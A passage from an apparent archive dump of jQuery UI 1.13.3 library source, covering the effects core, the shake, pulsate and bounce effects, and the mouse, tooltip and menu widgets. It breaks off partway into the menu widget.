_normalizeArguments.apply( this, arguments ), effectMethod = $.effects.effect[ args.effect ], defaultMode = effectMethod.mode, queue = args.queue, queueName = queue || "fx", complete = args.complete, mode = args.mode, modes = [], prefilter = function( next ) { var el = $( this ), normalizedMode = $.effects.mode( el, mode ) || defaultMode; // Sentinel for duck-punching the :animated pseudo-selector el.data( dataSpaceAnimated, true ); // Save effect mode for later use, // we can't just call $.effects.mode again later, // as the .show() below destroys the initial state modes.push( normalizedMode ); // See $.uiBackCompat inside of run() for removal of defaultMode in 1.14 if ( defaultMode && ( normalizedMode === "show" || ( normalizedMode === defaultMode && normalizedMode === "hide" ) ) ) { el.show(); } if ( !defaultMode || normalizedMode !== "none" ) { $.effects.saveStyle( el ); } if ( typeof next === "function" ) { next(); } }; if ( $.fx.off || !effectMethod ) { // Delegate to the original method (e.g., .show()) if possible if ( mode ) { return this[ mode ]( args.duration, complete ); } else { return this.each( function() { if ( complete ) { complete.call( this ); } } ); } } function run( next ) { var elem = $( this ); function cleanup() { elem.removeData( dataSpaceAnimated ); $.effects.cleanUp( elem ); if ( args.mode === "hide" ) { elem.hide(); } done(); } function done() { if ( typeof complete === "function" ) { complete.call( elem[ 0 ] ); } if ( typeof next === "function" ) { next(); } } // Override mode option on a per element basis, // as toggle can be either show or hide depending on element state args.mode = modes.shift(); if ( $.uiBackCompat !== false && !defaultMode ) { if ( elem.is( ":hidden" ) ? mode === "hide" : mode === "show" ) { // Call the core method to track "olddisplay" properly elem[ mode ](); done(); } else { effectMethod.call( elem[ 0 ], args, done ); } } else { if ( args.mode === "none" ) { // Call the core method to track "olddisplay" properly elem[ mode ](); done(); } else { effectMethod.call( elem[ 0 ], args, cleanup ); } } } // Run prefilter on all elements first to ensure that // any showing or hiding happens before placeholder creation, // which ensures that any layout changes are correctly captured. return queue === false ? this.each( prefilter ).each( run ) : this.queue( queueName, prefilter ).queue( queueName, run ); }, show: ( function( orig ) { return function( option ) { if ( standardAnimationOption( option ) ) { return orig.apply( this, arguments ); } else { var args = _normalizeArguments.apply( this, arguments ); args.mode = "show"; return this.effect.call( this, args ); } }; } )( $.fn.show ), hide: ( function( orig ) { return function( option ) { if ( standardAnimationOption( option ) ) { return orig.apply( this, arguments ); } else { var args = _normalizeArguments.apply( this, arguments ); args.mode = "hide"; return this.effect.call( this, args ); } }; } )( $.fn.hide ), toggle: ( function( orig ) { return function( option ) { if ( standardAnimationOption( option ) || typeof option === "boolean" ) { return orig.apply( this, arguments ); } else { var args = _normalizeArguments.apply( this, arguments ); args.mode = "toggle"; return this.effect.call( this, args ); } }; } )( $.fn.toggle ), cssUnit: function( key ) { var style = this.css( key ), val = []; $.each( [ "em", "px", "%", "pt" ], function( i, unit ) { if ( style.indexOf( unit ) > 0 ) { val = [ parseFloat( style ), unit ]; } } ); return val; }, cssClip: function( clipObj ) { if ( clipObj ) { return this.css( "clip", "rect(" + clipObj.top + "px " + clipObj.right + "px " + clipObj.bottom + "px " + clipObj.left + "px)" ); } return parseClip( this.css( "clip" ), this ); }, transfer: function( options, done ) { var element = $( this ), target = $( options.to ), targetFixed = target.css( "position" ) === "fixed", body = $( "body" ), fixTop = targetFixed ? body.scrollTop() : 0, fixLeft = targetFixed ? body.scrollLeft() : 0, endPosition = target.offset(), animation = { top: endPosition.top - fixTop, left: endPosition.left - fixLeft, height: target.innerHeight(), width: target.innerWidth() }, startPosition = element.offset(), transfer = $( "<div class='ui-effects-transfer'></div>" ); transfer .appendTo( "body" ) .addClass( options.className ) .css( { top: startPosition.top - fixTop, left: startPosition.left - fixLeft, height: element.innerHeight(), width: element.innerWidth(), position: targetFixed ? "fixed" : "absolute" } ) .animate( animation, options.duration, options.easing, function() { transfer.remove(); if ( typeof done === "function" ) { done(); } } ); } } ); function parseClip( str, element ) { var outerWidth = element.outerWidth(), outerHeight = element.outerHeight(), clipRegex = /^rect\((-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto)\)$/, values = clipRegex.exec( str ) || [ "", 0, outerWidth, outerHeight, 0 ]; return { top: parseFloat( values[ 1 ] ) || 0, right: values[ 2 ] === "auto" ? outerWidth : parseFloat( values[ 2 ] ), bottom: values[ 3 ] === "auto" ? outerHeight : parseFloat( values[ 3 ] ), left: parseFloat( values[ 4 ] ) || 0 }; } $.fx.step.clip = function( fx ) { if ( !fx.clipInit ) { fx.start = $( fx.elem ).cssClip(); if ( typeof fx.end === "string" ) { fx.end = parseClip( fx.end, fx.elem ); } fx.clipInit = true; } $( fx.elem ).cssClip( { top: fx.pos * ( fx.end.top - fx.start.top ) + fx.start.top, right: fx.pos * ( fx.end.right - fx.start.right ) + fx.start.right, bottom: fx.pos * ( fx.end.bottom - fx.start.bottom ) + fx.start.bottom, left: fx.pos * ( fx.end.left - fx.start.left ) + fx.start.left } ); }; } )(); /******************************************************************************/ /*********************************** EASING ***********************************/ /******************************************************************************/ ( function() { // Based on easing equations from Robert Penner (http://robertpenner.com/easing) var baseEasings = {}; $.each( [ "Quad", "Cubic", "Quart", "Quint", "Expo" ], function( i, name ) { baseEasings[ name ] = function( p ) { return Math.pow( p, i + 2 ); }; } ); $.extend( baseEasings, { Sine: function( p ) { return 1 - Math.cos( p * Math.PI / 2 ); }, Circ: function( p ) { return 1 - Math.sqrt( 1 - p * p ); }, Elastic: function( p ) { return p === 0 || p === 1 ? p : -Math.pow( 2, 8 * ( p - 1 ) ) * Math.sin( ( ( p - 1 ) * 80 - 7.5 ) * Math.PI / 15 ); }, Back: function( p ) { return p * p * ( 3 * p - 2 ); }, Bounce: function( p ) { var pow2, bounce = 4; while ( p < ( ( pow2 = Math.pow( 2, --bounce ) ) - 1 ) / 11 ) {} return 1 / Math.pow( 4, 3 - bounce ) - 7.5625 * Math.pow( ( pow2 * 3 - 2 ) / 22 - p, 2 ); } } ); $.each( baseEasings, function( name, easeIn ) { $.easing[ "easeIn" + name ] = easeIn; $.easing[ "easeOut" + name ] = function( p ) { return 1 - easeIn( 1 - p ); }; $.easing[ "easeInOut" + name ] = function( p ) { return p < 0.5 ? easeIn( p * 2 ) / 2 : 1 - easeIn( p * -2 + 2 ) / 2; }; } ); } )(); return $.effects; } ); jquery/ui/effect-shake.js 0000644 00000003534 15111757754 0011405 0 ustar 00 /*! * jQuery UI Effects Shake 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Shake Effect //>>group: Effects //>>description: Shakes an element horizontally or vertically n times. //>>docs: https://api.jqueryui.com/shake-effect/ //>>demos: https://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../version", "../effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "shake", function( options, done ) { var i = 1, element = $( this ), direction = options.direction || "left", distance = options.distance || 20, times = options.times || 3, anims = times * 2 + 1, speed = Math.round( options.duration / anims ), ref = ( direction === "up" || direction === "down" ) ? "top" : "left", positiveMotion = ( direction === "up" || direction === "left" ), animation = {}, animation1 = {}, animation2 = {}, queuelen = element.queue().length; $.effects.createPlaceholder( element ); // Animation animation[ ref ] = ( positiveMotion ? "-=" : "+=" ) + distance; animation1[ ref ] = ( positiveMotion ? "+=" : "-=" ) + distance * 2; animation2[ ref ] = ( positiveMotion ? "-=" : "+=" ) + distance * 2; // Animate element.animate( animation, speed, options.easing ); // Shakes for ( ; i < times; i++ ) { element .animate( animation1, speed, options.easing ) .animate( animation2, speed, options.easing ); } element .animate( animation1, speed, options.easing ) .animate( animation, speed / 2, options.easing ) .queue( done ); $.effects.unshift( element, queuelen, anims + 1 ); } ); } ); jquery/ui/effect-pulsate.min.js 0000644 00000001260 15111757755 0012544 0 ustar 00 /*! * jQuery UI Effects Pulsate 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../version","../effect"],e):e(jQuery)}(function(c){"use strict";return c.effects.define("pulsate","show",function(e,i){var t=c(this),n=e.mode,s="show"===n,f=2*(e.times||5)+(s||"hide"===n?1:0),u=e.duration/f,o=0,a=1,n=t.queue().length;for(!s&&t.is(":visible")||(t.css("opacity",0).show(),o=1);a<f;a++)t.animate({opacity:o},u,e.easing),o=1-o;t.animate({opacity:o},u,e.easing),t.queue(i),c.effects.unshift(t,n,1+f)})}); jquery/ui/tooltip.js 0000644 00000034214 15111757755 0010552 0 ustar 00 /*! * jQuery UI Tooltip 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Tooltip //>>group: Widgets //>>description: Shows additional information for any element on hover or focus. //>>docs: https://api.jqueryui.com/tooltip/ //>>demos: https://jqueryui.com/tooltip/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/tooltip.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../keycode", "../position", "../unique-id", "../version", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.tooltip", { version: "1.13.3", options: { classes: { "ui-tooltip": "ui-corner-all ui-widget-shadow" }, content: function() { var title = $( this ).attr( "title" ); // Escape title, since we're going from an attribute to raw HTML return $( "<a>" ).text( title ).html(); }, hide: true, // Disabled elements have inconsistent behavior across browsers (#8661) items: "[title]:not([disabled])", position: { my: "left top+15", at: "left bottom", collision: "flipfit flip" }, show: true, track: false, // Callbacks close: null, open: null }, _addDescribedBy: function( elem, id ) { var describedby = ( elem.attr( "aria-describedby" ) || "" ).split( /\s+/ ); describedby.push( id ); elem .data( "ui-tooltip-id", id ) .attr( "aria-describedby", String.prototype.trim.call( describedby.join( " " ) ) ); }, _removeDescribedBy: function( elem ) { var id = elem.data( "ui-tooltip-id" ), describedby = ( elem.attr( "aria-describedby" ) || "" ).split( /\s+/ ), index = $.inArray( id, describedby ); if ( index !== -1 ) { describedby.splice( index, 1 ); } elem.removeData( "ui-tooltip-id" ); describedby = String.prototype.trim.call( describedby.join( " " ) ); if ( describedby ) { elem.attr( "aria-describedby", describedby ); } else { elem.removeAttr( "aria-describedby" ); } }, _create: function() { this._on( { mouseover: "open", focusin: "open" } ); // IDs of generated tooltips, needed for destroy this.tooltips = {}; // IDs of parent tooltips where we removed the title attribute this.parents = {}; // Append the aria-live region so tooltips announce correctly this.liveRegion = $( "<div>" ) .attr( { role: "log", "aria-live": "assertive", "aria-relevant": "additions" } ) .appendTo( this.document[ 0 ].body ); this._addClass( this.liveRegion, null, "ui-helper-hidden-accessible" ); this.disabledTitles = $( [] ); }, _setOption: function( key, value ) { var that = this; this._super( key, value ); if ( key === "content" ) { $.each( this.tooltips, function( id, tooltipData ) { that._updateContent( tooltipData.element ); } ); } }, _setOptionDisabled: function( value ) { this[ value ? "_disable" : "_enable" ](); }, _disable: function() { var that = this; // Close open tooltips $.each( this.tooltips, function( id, tooltipData ) { var event = $.Event( "blur" ); event.target = event.currentTarget = tooltipData.element[ 0 ]; that.close( event, true ); } ); // Remove title attributes to prevent native tooltips this.disabledTitles = this.disabledTitles.add( this.element.find( this.options.items ).addBack() .filter( function() { var element = $( this ); if ( element.is( "[title]" ) ) { return element .data( "ui-tooltip-title", element.attr( "title" ) ) .removeAttr( "title" ); } } ) ); }, _enable: function() { // restore title attributes this.disabledTitles.each( function() { var element = $( this ); if ( element.data( "ui-tooltip-title" ) ) { element.attr( "title", element.data( "ui-tooltip-title" ) ); } } ); this.disabledTitles = $( [] ); }, open: function( event ) { var that = this, target = $( event ? event.target : this.element ) // we need closest here due to mouseover bubbling, // but always pointing at the same event target .closest( this.options.items ); // No element to show a tooltip for or the tooltip is already open if ( !target.length || target.data( "ui-tooltip-id" ) ) { return; } if ( target.attr( "title" ) ) { target.data( "ui-tooltip-title", target.attr( "title" ) ); } target.data( "ui-tooltip-open", true ); // Kill parent tooltips, custom or native, for hover if ( event && event.type === "mouseover" ) { target.parents().each( function() { var parent = $( this ), blurEvent; if ( parent.data( "ui-tooltip-open" ) ) { blurEvent = $.Event( "blur" ); blurEvent.target = blurEvent.currentTarget = this; that.close( blurEvent, true ); } if ( parent.attr( "title" ) ) { parent.uniqueId(); that.parents[ this.id ] = { element: this, title: parent.attr( "title" ) }; parent.attr( "title", "" ); } } ); } this._registerCloseHandlers( event, target ); this._updateContent( target, event ); }, _updateContent: function( target, event ) { var content, contentOption = this.options.content, that = this, eventType = event ? event.type : null; if ( typeof contentOption === "string" || contentOption.nodeType || contentOption.jquery ) { return this._open( event, target, contentOption ); } content = contentOption.call( target[ 0 ], function( response ) { // IE may instantly serve a cached response for ajax requests // delay this call to _open so the other call to _open runs first that._delay( function() { // Ignore async response if tooltip was closed already if ( !target.data( "ui-tooltip-open" ) ) { return; } // JQuery creates a special event for focusin when it doesn't // exist natively. To improve performance, the native event // object is reused and the type is changed. Therefore, we can't // rely on the type being correct after the event finished // bubbling, so we set it back to the previous value. (#8740) if ( event ) { event.type = eventType; } this._open( event, target, response ); } ); } ); if ( content ) { this._open( event, target, content ); } }, _open: function( event, target, content ) { var tooltipData, tooltip, delayedShow, a11yContent, positionOption = $.extend( {}, this.options.position ); if ( !content ) { return; } // Content can be updated multiple times. If the tooltip already // exists, then just update the content and bail. tooltipData = this._find( target ); if ( tooltipData ) { tooltipData.tooltip.find( ".ui-tooltip-content" ).html( content ); return; } // If we have a title, clear it to prevent the native tooltip // we have to check first to avoid defining a title if none exists // (we don't want to cause an element to start matching [title]) // // We use removeAttr only for key events, to allow IE to export the correct // accessible attributes. For mouse events, set to empty string to avoid // native tooltip showing up (happens only when removing inside mouseover). if ( target.is( "[title]" ) ) { if ( event && event.type === "mouseover" ) { target.attr( "title", "" ); } else { target.removeAttr( "title" ); } } tooltipData = this._tooltip( target ); tooltip = tooltipData.tooltip; this._addDescribedBy( target, tooltip.attr( "id" ) ); tooltip.find( ".ui-tooltip-content" ).html( content ); // Support: Voiceover on OS X, JAWS on IE <= 9 // JAWS announces deletions even when aria-relevant="additions" // Voiceover will sometimes re-read the entire log region's contents from the beginning this.liveRegion.children().hide(); a11yContent = $( "<div>" ).html( tooltip.find( ".ui-tooltip-content" ).html() ); a11yContent.removeAttr( "name" ).find( "[name]" ).removeAttr( "name" ); a11yContent.removeAttr( "id" ).find( "[id]" ).removeAttr( "id" ); a11yContent.appendTo( this.liveRegion ); function position( event ) { positionOption.of = event; if ( tooltip.is( ":hidden" ) ) { return; } tooltip.position( positionOption ); } if ( this.options.track && event && /^mouse/.test( event.type ) ) { this._on( this.document, { mousemove: position } ); // trigger once to override element-relative positioning position( event ); } else { tooltip.position( $.extend( { of: target }, this.options.position ) ); } tooltip.hide(); this._show( tooltip, this.options.show ); // Handle tracking tooltips that are shown with a delay (#8644). As soon // as the tooltip is visible, position the tooltip using the most recent // event. // Adds the check to add the timers only when both delay and track options are set (#14682) if ( this.options.track && this.options.show && this.options.show.delay ) { delayedShow = this.delayedShow = setInterval( function() { if ( tooltip.is( ":visible" ) ) { position( positionOption.of ); clearInterval( delayedShow ); } }, 13 ); } this._trigger( "open", event, { tooltip: tooltip } ); }, _registerCloseHandlers: function( event, target ) { var events = { keyup: function( event ) { if ( event.keyCode === $.ui.keyCode.ESCAPE ) { var fakeEvent = $.Event( event ); fakeEvent.currentTarget = target[ 0 ]; this.close( fakeEvent, true ); } } }; // Only bind remove handler for delegated targets. Non-delegated // tooltips will handle this in destroy. if ( target[ 0 ] !== this.element[ 0 ] ) { events.remove = function() { var targetElement = this._find( target ); if ( targetElement ) { this._removeTooltip( targetElement.tooltip ); } }; } if ( !event || event.type === "mouseover" ) { events.mouseleave = "close"; } if ( !event || event.type === "focusin" ) { events.focusout = "close"; } this._on( true, target, events ); }, close: function( event ) { var tooltip, that = this, target = $( event ? event.currentTarget : this.element ), tooltipData = this._find( target ); // The tooltip may already be closed if ( !tooltipData ) { // We set ui-tooltip-open immediately upon open (in open()), but only set the // additional data once there's actually content to show (in _open()). So even if the // tooltip doesn't have full data, we always remove ui-tooltip-open in case we're in // the period between open() and _open(). target.removeData( "ui-tooltip-open" ); return; } tooltip = tooltipData.tooltip; // Disabling closes the tooltip, so we need to track when we're closing // to avoid an infinite loop in case the tooltip becomes disabled on close if ( tooltipData.closing ) { return; } // Clear the interval for delayed tracking tooltips clearInterval( this.delayedShow ); // Only set title if we had one before (see comment in _open()) // If the title attribute has changed since open(), don't restore if ( target.data( "ui-tooltip-title" ) && !target.attr( "title" ) ) { target.attr( "title", target.data( "ui-tooltip-title" ) ); } this._removeDescribedBy( target ); tooltipData.hiding = true; tooltip.stop( true ); this._hide( tooltip, this.options.hide, function() { that._removeTooltip( $( this ) ); } ); target.removeData( "ui-tooltip-open" ); this._off( target, "mouseleave focusout keyup" ); // Remove 'remove' binding only on delegated targets if ( target[ 0 ] !== this.element[ 0 ] ) { this._off( target, "remove" ); } this._off( this.document, "mousemove" ); if ( event && event.type === "mouseleave" ) { $.each( this.parents, function( id, parent ) { $( parent.element ).attr( "title", parent.title ); delete that.parents[ id ]; } ); } tooltipData.closing = true; this._trigger( "close", event, { tooltip: tooltip } ); if ( !tooltipData.hiding ) { tooltipData.closing = false; } }, _tooltip: function( element ) { var tooltip = $( "<div>" ).attr( "role", "tooltip" ), content = $( "<div>" ).appendTo( tooltip ), id = tooltip.uniqueId().attr( "id" ); this._addClass( content, "ui-tooltip-content" ); this._addClass( tooltip, "ui-tooltip", "ui-widget ui-widget-content" ); tooltip.appendTo( this._appendTo( element ) ); return this.tooltips[ id ] = { element: element, tooltip: tooltip }; }, _find: function( target ) { var id = target.data( "ui-tooltip-id" ); return id ? this.tooltips[ id ] : null; }, _removeTooltip: function( tooltip ) { // Clear the interval for delayed tracking tooltips clearInterval( this.delayedShow ); tooltip.remove(); delete this.tooltips[ tooltip.attr( "id" ) ]; }, _appendTo: function( target ) { var element = target.closest( ".ui-front, dialog" ); if ( !element.length ) { element = this.document[ 0 ].body; } return element; }, _destroy: function() { var that = this; // Close open tooltips $.each( this.tooltips, function( id, tooltipData ) { // Delegate to close method to handle common cleanup var event = $.Event( "blur" ), element = tooltipData.element; event.target = event.currentTarget = element[ 0 ]; that.close( event, true ); // Remove immediately; destroying an open tooltip doesn't use the // hide animation $( "#" + id ).remove(); // Restore the title if ( element.data( "ui-tooltip-title" ) ) { // If the title attribute has changed since open(), don't restore if ( !element.attr( "title" ) ) { element.attr( "title", element.data( "ui-tooltip-title" ) ); } element.removeData( "ui-tooltip-title" ); } } ); this.liveRegion.remove(); } } ); // DEPRECATED // TODO: Switch return back to widget declaration at top of file when this is removed if ( $.uiBackCompat !== false ) { // Backcompat for tooltipClass option $.widget( "ui.tooltip", $.ui.tooltip, { options: { tooltipClass: null }, _tooltip: function() { var tooltipData = this._superApply( arguments ); if ( this.options.tooltipClass ) { tooltipData.tooltip.addClass( this.options.tooltipClass ); } return tooltipData; } } ); } return $.ui.tooltip; } ); jquery/ui/mouse.min.js 0000644 00000006544 15111757755 0010777 0 ustar 00 /*! * jQuery UI Mouse 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../ie","../version","../widget"],e):e(jQuery)}(function(o){"use strict";var n=!1;return o(document).on("mouseup",function(){n=!1}),o.widget("ui.mouse",{version:"1.13.3",options:{cancel:"input, textarea, button, select, option",distance:1,delay:0},_mouseInit:function(){var t=this;this.element.on("mousedown."+this.widgetName,function(e){return t._mouseDown(e)}).on("click."+this.widgetName,function(e){if(!0===o.data(e.target,t.widgetName+".preventClickEvent"))return o.removeData(e.target,t.widgetName+".preventClickEvent"),e.stopImmediatePropagation(),!1}),this.started=!1},_mouseDestroy:function(){this.element.off("."+this.widgetName),this._mouseMoveDelegate&&this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(e){var t,i,s;if(!n)return this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(e),i=1===(this._mouseDownEvent=e).which,s=!("string"!=typeof(t=this).options.cancel||!e.target.nodeName)&&o(e.target).closest(this.options.cancel).length,i&&!s&&this._mouseCapture(e)&&(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){t.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=!1!==this._mouseStart(e),!this._mouseStarted)?e.preventDefault():(!0===o.data(e.target,this.widgetName+".preventClickEvent")&&o.removeData(e.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(e){return t._mouseMove(e)},this._mouseUpDelegate=function(e){return t._mouseUp(e)},this.document.on("mousemove."+this.widgetName,this._mouseMoveDelegate).on("mouseup."+this.widgetName,this._mouseUpDelegate),e.preventDefault(),n=!0)),!0},_mouseMove:function(e){if(this._mouseMoved){if(o.ui.ie&&(!document.documentMode||document.documentMode<9)&&!e.button)return this._mouseUp(e);if(!e.which)if(e.originalEvent.altKey||e.originalEvent.ctrlKey||e.originalEvent.metaKey||e.originalEvent.shiftKey)this.ignoreMissingWhich=!0;else if(!this.ignoreMissingWhich)return this._mouseUp(e)}return(e.which||e.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(e),e.preventDefault()):(this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=!1!==this._mouseStart(this._mouseDownEvent,e),this._mouseStarted?this._mouseDrag(e):this._mouseUp(e)),!this._mouseStarted)},_mouseUp:function(e){this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,e.target===this._mouseDownEvent.target&&o.data(e.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(e)),this._mouseDelayTimer&&(clearTimeout(this._mouseDelayTimer),delete this._mouseDelayTimer),this.ignoreMissingWhich=!1,n=!1,e.preventDefault()},_mouseDistanceMet:function(e){return Math.max(Math.abs(this._mouseDownEvent.pageX-e.pageX),Math.abs(this._mouseDownEvent.pageY-e.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}})}); jquery/ui/effect-bounce.min.js 0000644 00000001737 15111757755 0012353 0 ustar 00 /*! * jQuery UI Effects Bounce 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../version","../effect"],e):e(jQuery)}(function(l){"use strict";return l.effects.define("bounce",function(e,t){var i,n,o=l(this),c=e.mode,f="hide"===c,c="show"===c,u=e.direction||"up",s=e.distance,a=e.times||5,r=2*a+(c||f?1:0),d=e.duration/r,p=e.easing,h="up"===u||"down"===u?"top":"left",m="up"===u||"left"===u,y=0,e=o.queue().length;for(l.effects.createPlaceholder(o),u=o.css(h),s=s||o["top"==h?"outerHeight":"outerWidth"]()/3,c&&((n={opacity:1})[h]=u,o.css("opacity",0).css(h,m?2*-s:2*s).animate(n,d,p)),f&&(s/=Math.pow(2,a-1)),(n={})[h]=u;y<a;y++)(i={})[h]=(m?"-=":"+=")+s,o.animate(i,d,p).animate(n,d,p),s=f?2*s:s/2;f&&((i={opacity:0})[h]=(m?"-=":"+=")+s,o.animate(i,d,p)),o.queue(t),l.effects.unshift(o,e,1+r)})}); jquery/ui/menu.js 0000644 00000045020 15111757755 0010021 0 ustar 00 /*! * jQuery UI Menu 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Menu //>>group: Widgets //>>description: Creates nestable menus. //>>docs: https://api.jqueryui.com/menu/ //>>demos: https://jqueryui.com/menu/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/menu.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../keycode", "../position", "../safe-active-element", "../unique-id", "../version", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.widget( "ui.menu", { version: "1.13.3", defaultElement: "<ul>", delay: 300, options: { icons: { submenu: "ui-icon-caret-1-e" }, items: "> *", menus: "ul", position: { my: "left top", at: "right top" }, role: "menu", // Callbacks blur: null, focus: null, select: null }, _create: function() { this.activeMenu = this.element; // Flag used to prevent firing of the click handler // as the event bubbles up through nested menus this.mouseHandled = false; this.lastMousePosition = { x: null, y: null }; this.element .uniqueId() .attr( { role: this.options.role, tabIndex: 0 } ); this._addClass( "ui-menu", "ui-widget ui-widget-content" ); this._on( { // Prevent focus from sticking to links inside menu after clicking // them (focus should always stay on UL during navigation). "mousedown .ui-menu-item": function( event ) { event.preventDefault(); this._activateItem( event ); }, "click .ui-menu-item": function( event ) { var target = $( event.target ); var active = $( $.ui.safeActiveElement( this.document[ 0 ] ) ); if ( !this.mouseHandled && target.not( ".ui-state-disabled" ).length ) { this.select( event ); // Only set the mouseHandled flag if the event will bubble, see #9469. if ( !event.isPropagationStopped() ) { this.mouseHandled = true; } // Open submenu on click if ( target.has( ".ui-menu" ).length ) { this.expand( event ); } else if ( !this.element.is( ":focus" ) && active.closest( ".ui-menu" ).length ) { // Redirect focus to the menu this.element.trigger( "focus", [ true ] ); // If the active item is on the top level, let it stay active. // Otherwise, blur the active item since it is no longer visible. if ( this.active && this.active.parents( ".ui-menu" ).length === 1 ) { clearTimeout( this.timer ); } } } }, "mouseenter .ui-menu-item": "_activateItem", "mousemove .ui-menu-item": "_activateItem", mouseleave: "collapseAll", "mouseleave .ui-menu": "collapseAll", focus: function( event, keepActiveItem ) { // If there's already an active item, keep it active // If not, activate the first item var item = this.active || this._menuItems().first(); if ( !keepActiveItem ) { this.focus( event, item ); } }, blur: function( event ) { this._delay( function() { var notContained = !$.contains( this.element[ 0 ], $.ui.safeActiveElement( this.document[ 0 ] ) ); if ( notContained ) { this.collapseAll( event ); } } ); }, keydown: "_keydown" } ); this.refresh(); // Clicks outside of a menu collapse any open menus this._on( this.document, { click: function( event ) { if ( this._closeOnDocumentClick( event ) ) { this.collapseAll( event, true ); } // Reset the mouseHandled flag this.mouseHandled = false; } } ); }, _activateItem: function( event ) { // Ignore mouse events while typeahead is active, see #10458. // Prevents focusing the wrong item when typeahead causes a scroll while the mouse // is over an item in the menu if ( this.previousFilter ) { return; } // If the mouse didn't actually move, but the page was scrolled, ignore the event (#9356) if ( event.clientX === this.lastMousePosition.x && event.clientY === this.lastMousePosition.y ) { return; } this.lastMousePosition = { x: event.clientX, y: event.clientY }; var actualTarget = $( event.target ).closest( ".ui-menu-item" ), target = $( event.currentTarget ); // Ignore bubbled events on parent items, see #11641 if ( actualTarget[ 0 ] !== target[ 0 ] ) { return; } // If the item is already active, there's nothing to do if ( target.is( ".ui-state-active" ) ) { return; } // Remove ui-state-active class from siblings of the newly focused menu item // to avoid a jump caused by adjacent elements both having a class with a border this._removeClass( target.siblings().children( ".ui-state-active" ), null, "ui-state-active" ); this.focus( event, target ); }, _destroy: function() { var items = this.element.find( ".ui-menu-item" ) .removeAttr( "role aria-disabled" ), submenus = items.children( ".ui-menu-item-wrapper" ) .removeUniqueId() .removeAttr( "tabIndex role aria-haspopup" ); // Destroy (sub)menus this.element .removeAttr( "aria-activedescendant" ) .find( ".ui-menu" ).addBack() .removeAttr( "role aria-labelledby aria-expanded aria-hidden aria-disabled " + "tabIndex" ) .removeUniqueId() .show(); submenus.children().each( function() { var elem = $( this ); if ( elem.data( "ui-menu-submenu-caret" ) ) { elem.remove(); } } ); }, _keydown: function( event ) { var match, prev, character, skip, preventDefault = true; switch ( event.keyCode ) { case $.ui.keyCode.PAGE_UP: this.previousPage( event ); break; case $.ui.keyCode.PAGE_DOWN: this.nextPage( event ); break; case $.ui.keyCode.HOME: this._move( "first", "first", event ); break; case $.ui.keyCode.END: this._move( "last", "last", event ); break; case $.ui.keyCode.UP: this.previous( event ); break; case $.ui.keyCode.DOWN: this.next( event ); break; case $.ui.keyCode.LEFT: this.collapse( event ); break; case $.ui.keyCode.RIGHT: if ( this.active && !this.active.is( ".ui-state-disabled" ) ) { this.expand( event ); } break; case $.ui.keyCode.ENTER: case $.ui.keyCode.SPACE: this._activate( event ); break; case $.ui.keyCode.ESCAPE: this.collapse( event ); break; default: preventDefault = false; prev = this.previousFilter || ""; skip = false; // Support number pad values character = event.keyCode >= 96 && event.keyCode <= 105 ? ( event.keyCode - 96 ).toString() : String.fromCharCode( event.keyCode ); clearTimeout( this.filterTimer ); if ( character === prev ) { skip = true; } else { character = prev + character; } match = this._filterMenuItems( character ); match = skip && match.index( this.active.next() ) !== -1 ? this.active.nextAll( ".ui-menu-item" ) : match; // If no matches on the current filter, reset to the last character pressed // to move down the menu to the first item that starts with that character if ( !match.length ) { character = String.fromCharCode( event.keyCode ); match = this._filterMenuItems( character ); } if ( match.length ) { this.focus( event, match ); this.previousFilter = character; this.filterTimer = this._delay( function() { delete this.previousFilter; }, 1000 ); } else { delete this.previousFilter; } } if ( preventDefault ) { event.preventDefault(); } }, _activate: function( event ) { if ( this.active && !this.active.is( ".ui-state-disabled" ) ) { if ( this.active.children( "[aria-haspopup='true']" ).length ) { 